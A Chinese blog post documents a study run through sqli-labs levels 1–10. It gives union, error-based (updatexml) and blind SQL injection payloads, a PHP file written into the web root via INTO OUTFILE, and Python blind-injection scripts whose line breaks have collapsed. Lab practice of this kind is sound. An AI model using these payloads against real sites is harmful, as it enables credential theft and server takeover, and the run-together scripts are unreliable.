当前位置: 首页 > news >正文

复现一下最近学习的漏洞(sqlab 1-10)

第一个问题:为什么不能用#来闭合单引号呢?

在进行URL地址栏传参的时候,是有一套编码规范的。他不会编码英文、数字和某些符号。但是#它会进行编码。也就是%23。(先转ascii码,然后再转十六进制,之后加上%就是%23)

第二个问题:为什么可以使用--+来进行闭合?

sqli-lab第一关

先判断是否存在sql注入。输入的id的值不同页面会发生变化。 

然后再判断sql语句是否拼接,是字符型还是数字型:很明显这里是数字型注入,用 ‘ 进行闭合

联合注入:

可以使用order by 来找出该表的列数:第四列报错了,而第三列没有报错,说明该表有三列。

爆出数据库名和版本号:

爆出表名:

?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema = 'security' --+

 爆出列名:现在我们就知道了security库下的users表中,有id,username,password这三个列名,我们直接进行查询即可

?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name ='users' --+

 最后我们就可以直接进行查询了:

?id=-1' union select 1,database(),group_concat(username,password) from users --+;

MySQL中有这样五个数据库:

information_schema, challenges, mysql, performance_schema, sys。这里我们先重点关注information_schema这张表。 

table_schema 所有的数据库名
table_name 所有库下的所有表名
column_name 所有表下的所有列名

#这里我先在本地的MySQL中的information_schema库中,进行一个查询。
select table_name from tables where table_schema = 'security';
select column_name from columns where column_schema='security' and table_name='users';
select username,password from security.users;

 最终也是可以查到security库中users表的数据的。

sqli-lab第二关

首先我们还是基本操作,先判断类型,这里我们闭合之后,发现还是报错,说明这是一个数字型。

所以这里我们就不用加 ’ 和 --+ 了,直接进行注入即可。

具体步骤和第一关相同,这里就不多说了。

sqli-lab第三关

输入?id=1'的时,查看页面报错信息。可推断出sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。

后续步骤同前两关相同。

sqli-lab第四关

这关如果输入不符合sql语法是会在页面上返回报错信息的,根据这个就可以明确知道要闭合什么符号,比如这关闭合是"),但是这关输入id=1'是不会报错,字段本身是int类型

 

最后找到合适的闭合方式,后续步骤相同。

sqli-lab第五关

第五关和前面四关不同,该关卡的查询结果不会回显。

 但报错还是会回显,这里可以使用报错注入。这里我们updatexml(),报错注入出当前的数据库名

这里因为显示子查询返回超过1行,所以说这里的数据就只有1列

报表名:爆出所有的表名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) 
from information_schema.tables where table_schema='security') ,0x7e),1) --+

爆列名:

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from 
information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

报字段名:

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from 
users),0x7e),1) --+

这里就发现,输出的长度被限制了。这里我们可以用 substr() 这个函数来对数据进行截取。以此每32位来截取数据。

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)
from users),1,32),0x7e),1) --+

sqli-lab第六关

这一关只有闭合方式改变了一下,其余内容不变。同样是报错注入,和上一关相同

 sqli-lab第七关

还是先判断一下闭合,为‘))

在高版本的mysql中默认为NULL,就是不让导入和导出

解决办法:
在Windows下可在my.ini的[mysqld]里面,添加secure_file_priv=
在linux下可在/etc/my.cnf的[mysqld]里面,添加secure_file_priv=

这里我们修改一下my.ini文件后,重启一下MySQL,就发现修改成功了。

开始注入

?id=1')) union select 1,2,"<?php phpinfo(); ?>" into outfile 
"E:\\PHPStudy\\phpstudy_pro\\WWW\\m.php"--+

这里显示有语法错误,不用管这个,直接访问webshell文件即可。这里我写的是phpinfo(),所以访问的就是php界面。

 sqli-lab第八关

第八关发现报错注入后,错误不显示了。所以报错注入和联合查询都不行了。加单引号后,报错

这里我写了一个python的脚本来跑数据库名(二分查找效率更快),最后也是成功跑出表名。后面就可以使用类似的方法来跑列名和字段名了。

import requestsurl = 'http://sqli/Less-8/'def inject_database(url):name = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1' and ascii(substr(database(), %d, 1)) > %d -- " % (i, mid)res = {"id": payload}r = requests.get(url, params=res)if "You are in..........." in r.text:low = mid + 1else:high = midmid = (low + high)//2if mid == 32:breakname = name + chr(mid)print(name)inject_database(url)

sqli-lab第九关

发现这关不管正确还是失败,都不会显示

 采用时间盲注,来寻找注入点

这里还是写python脚本来跑,和第八关类似,但需要稍作修改。因为此时的页面是不会变化的,所以就根据时间的特征来进行判断,修改一下pyload,然后增加一个时间模块即可。最后就能跑出数据库名。

import requests
import timeurl = 'http://sqli/Less-9/'def inject_database(url):name = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1),0)-- " % (i, mid)res = {"id": payload}start_time = time.time()r = requests.get(url, params=res)end_time = time.time()if end_time - start_time >= 1:low = mid + 1else:high = midmid = (low + high)//2if mid == 32:breakname = name + chr(mid)print(name)inject_database(url)

 sqli-lab第十关

第十关的闭合方式和第九关稍有不同,第十关用的 “ 来闭合,修改一下pyload即可,其余操作和第九关相同。

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 速盾:爬虫攻击和cc攻击的区别是什么?
  • Git在日常项目中的实用技巧
  • 汉诺塔(C++)
  • 2024华数杯数学建模A题完整论文讲解(含每一问python代码+结果+可视化图)
  • 总线学习4--UART
  • pom.xml和.m2的setting的区别?
  • 【秋招笔试】24-07-27-OPPO-秋招笔试题(后端卷)
  • ES相关介绍与扫盲
  • 【C语言】C语言期末突击/考研--详解一维数组与字符数组
  • 罗杰斯的逆势投资:破而后立
  • 如何选择合适的气膜生产厂家—轻空间
  • 动态规划.
  • (四)软件性能测试
  • Python基于Prophet实现时间序列数据趋势周期特征提取项目实战
  • Vulnhub靶机:JANGOW_ 1.0.1
  • 【MySQL经典案例分析】 Waiting for table metadata lock
  • JAVA 学习IO流
  • JavaScript学习总结——原型
  • Java教程_软件开发基础
  • Java面向对象及其三大特征
  • Promise初体验
  • vue自定义指令实现v-tap插件
  • 产品三维模型在线预览
  • 基于 Ueditor 的现代化编辑器 Neditor 1.5.4 发布
  • 区块链共识机制优缺点对比都是什么
  • 数据科学 第 3 章 11 字符串处理
  • 腾讯视频格式如何转换成mp4 将下载的qlv文件转换成mp4的方法
  • 推荐一个React的管理后台框架
  • 小程序、APP Store 需要的 SSL 证书是个什么东西?
  • ​​​​​​​Installing ROS on the Raspberry Pi
  • (3)选择元素——(17)练习(Exercises)
  • (done) ROC曲线 和 AUC值 分别是什么?
  • (二十六)Java 数据结构
  • (论文阅读笔记)Network planning with deep reinforcement learning
  • (原创)boost.property_tree解析xml的帮助类以及中文解析问题的解决
  • (原創) 如何讓IE7按第二次Ctrl + Tab時,回到原來的索引標籤? (Web) (IE) (OS) (Windows)...
  • .Net MVC4 上传大文件,并保存表单
  • .NET Remoting学习笔记(三)信道
  • .net 桌面开发 运行一阵子就自动关闭_聊城旋转门家用价格大约是多少,全自动旋转门,期待合作...
  • .net程序集学习心得
  • .net企业级架构实战之7——Spring.net整合Asp.net mvc
  • .vue文件怎么使用_vue调试工具vue-devtools的安装
  • /etc/shadow字段详解
  • @angular/cli项目构建--Dynamic.Form
  • @ohos.systemParameterEnhance系统参数接口调用:控制设备硬件(执行shell命令方式)
  • @property @synthesize @dynamic 及相关属性作用探究
  • [【JSON2WEB】 13 基于REST2SQL 和 Amis 的 SQL 查询分析器
  • [1]-基于图搜索的路径规划基础
  • [100天算法】-不同路径 III(day 73)
  • [20170705]lsnrctl status LISTENER_SCAN1
  • [20180129]bash显示path环境变量.txt
  • [8-27]正则表达式、扩展表达式以及相关实战
  • [BJDCTF2020]Easy MD51
  • [BZOJ 4034][HAOI2015]T2 [树链剖分]
  • [C++][ProtoBuf][初识ProtoBuf]详细讲解